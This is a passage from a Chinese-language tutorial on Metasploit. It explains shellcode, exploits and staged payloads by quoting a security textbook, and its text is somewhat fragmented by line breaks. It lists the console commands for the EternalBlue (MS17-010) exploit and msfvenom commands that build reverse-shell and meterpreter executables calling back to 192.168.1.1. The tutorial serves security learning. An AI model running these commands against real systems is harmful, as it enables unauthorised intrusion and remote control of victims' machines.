继续来看永恒之蓝的漏洞利用过程:
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 目标ip`
run
shell
use
该模块后,options
一下
可以看到,它已经默认为我们设置了一个payload。在该模块上下文中,可以使用set payload
来设置我们想用的payload,也可以show payloads
,根据显示的编号进行set
payload
,中文“有效载荷”,指成功exploit之后,真正在目标系统执行的代码或指令shellcode
,是payload的一种,由于其建立正向/反向shell二得名这是百度中比较多的说法,直接看《0day安全软件漏洞分析技术》中解释,会比较明白。
1996 年,Aleph One 在 Underground 发表了著名论文 Smashing the Stack for Fun and Profit, 其中详细描述了 Linux 系统中栈的结构和如何利用基于栈的缓冲区溢出。在这篇具有划时代意义的论文中,Aleph One 演示了如何向进程中植入一段用于获得 shell 的代码,并在论文中称这段被植入进程的代码为“shellcode” 。
后来人们干脆统一用 shellcode 这个专用术语来通称缓冲区溢出攻击中植入进程的代码。这段代码可以是出于恶作剧目的的弹出一个消息框, 也可以是出于攻击目的的删改重要文件、 窃取数据、上传木马病毒并运行,甚至是出于破坏目的的格式化硬盘等。请注意本章讨论的 shellcode 是这种广义上的植入进程的代码,而不是狭义上的仅仅用来获得 shell 的代码。
shellcode 往往需要用汇编语言编写,并转换成二进制机器码,其内容和长度经常还会受到很多苛刻限制,故开发和调试的难度很高。
在技术文献中,我们还会经常看到另一个术语——exploit。
植入代码之前需要做大量的调试工作,例如,弄清楚程序有几个输入点,这些输入将最终会当作哪个函数的第几个参数读入到内存的哪一个区域,哪一个输入会造成栈溢出,在复制到栈区的时候对这些数据有没有额外的限制等。 调试之后还要计算函数返回地址距离缓冲区的偏移并淹没之,选择指令的地址,最终制作出一个有攻击效果的“承载”着 shellcode 的输入字符串。这个代码植入的过程就是漏洞利用,也就是 exploit。
exploit 一般以一段代码的形式出现, 用于生成攻击性的网络数据包或者其他形式的攻击性输入。exploit 的核心是淹没返回地址, 劫持进程的控制权, 之后跳转去执行 shellcode。 与 shellcode 具有一定的通用性不同,exploit 往往是针对特定漏洞而言的。
其实,漏洞利用的过程就好像一枚导弹飞向目标的过程。导弹的设计者关注的是怎样计算飞行路线,锁定目标,最终把弹头精确地运载到目的地并引爆,而并不关心所承载的弹头到底是用来在地上砸一个坑的铅球, 还是用来毁灭一个国家的核弹头; 这就如同 exploit 关心的是怎样淹没返回地址, 获得进程控制权, 把 EIP 传递给 shellcode 让其得到执行并发挥作用, 而不关心 shellcode 到底是弹出一个消息框的恶作剧, 还是用于格式化对方硬盘的穷凶极恶的代码
随着现代化软件开发技术的发展,模块化、封装、代码重用等思想在漏洞利用技术中也得以体现。试想如果仿照武器的设计思想,分开设计导弹和弹头,将各自的技术细节封装起来, 使用标准化的接口, 漏洞利用的过程是不是会更容易些呢?其实在第 4 章中将介绍到的通用漏洞测试平台 Metasploit 就是利用了这种观点。Metasploit 通过规范化 exploit 和 shellcode 之间的接口把漏洞利用的过程封装成易用的模块, 大大减少了 expliot 开发过程中的重复工作, 深刻体现了代码重用和模块化、结构化的思想。在这个平台中:
(1) 所有的 exploit 都使用漏洞名称来命名, 里边包含有这个漏洞的函数返回地址, 所使用的跳转指令地址等关键信息。
(2)将常用的 shellcode(例如,用于绑定端口反向连接、执行任意命令等)封装成一个个通用的模块,可以轻易地与任意漏洞的 exploit 进行组合。
读完上面的引用,我们应该理解:
shellcode/payload
的库。正如上述,shellcode
我们可以使用C语言编写shellcode(取消编译器的各类优化),然后从生成的可执行文件中提取shellcode(正如上图所示)。也可以使用汇编语言直接生成shellcode,因为汇编语言直接面向机器编程。
MSF的payload模块位于modules/payloads{adapter,singles,stagers,stages}/platform>>
。当框架启动时,stages与stagers结合以创建可在exploits
中使用的完整的payload。然后,handlers与payload配对,因此框架将知道如何使用给定的通信机制创建会话。
Payload被赋予参考名称,如下所示:
这就会产生像windows/ x64 / meterpreter / reverse_tcp
这样的payload。分离出来,平台是windows,架构是x64,我们投递的最终的stage
是meterpreter
,而传递它的stager
是reverse_tcp
。
请注意,arch是可选的,因为在某些情况下,它是不必要或者已经默认了。比如php/ meterpreter / reverse_tcp
。PHP的payload不需要Arch,因为我们提供的是解释代码而不是二进制代码。
single:独立载荷,可直接植入目标系统并执行相应的程序
stager:传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入。使用stagers
解决了两个问题,第一是允许我们使用一个小的payload来初始化并加载一个更多功能体积更的的payload;第二是它分离了stage
的通信机制,使得一个payload(stage)可以为多个传输器使用而不用重复的开发代码
stage:传输体载荷,如 shell、meterpreter 等。在 stager 建立好稳定的连接后,攻击机将 stage 传输给目标机,由 stagers 进行相应处理,将控制权转交给 stage。比如得到目标机的 shell,或者 meterpreter 控制程序运行。
msfvenom -f exe LHOST=192.168.1.1 -p windows/meterpreter/reverse_tcp
msfvenom -f exe LHOST=192.168.1.1 -p windows/shell/reverse_tcp
msfvenom -f exe LHOST=192.168.1.1 -p windows/vncinject/reverse_tcp
(Note that these are functionally identical – there is a lot of randomization that goes into it so no two executables are exactly the same.)
[1] https://www.freebuf.com/articles/network/263010.html
[2] https://docs.metasploit.com/docs/using-metasploit/basics/how-payloads-work.html
[3] https://www.cobaltstrike.com/blog/staged-payloads-what-pen-testers-should-know/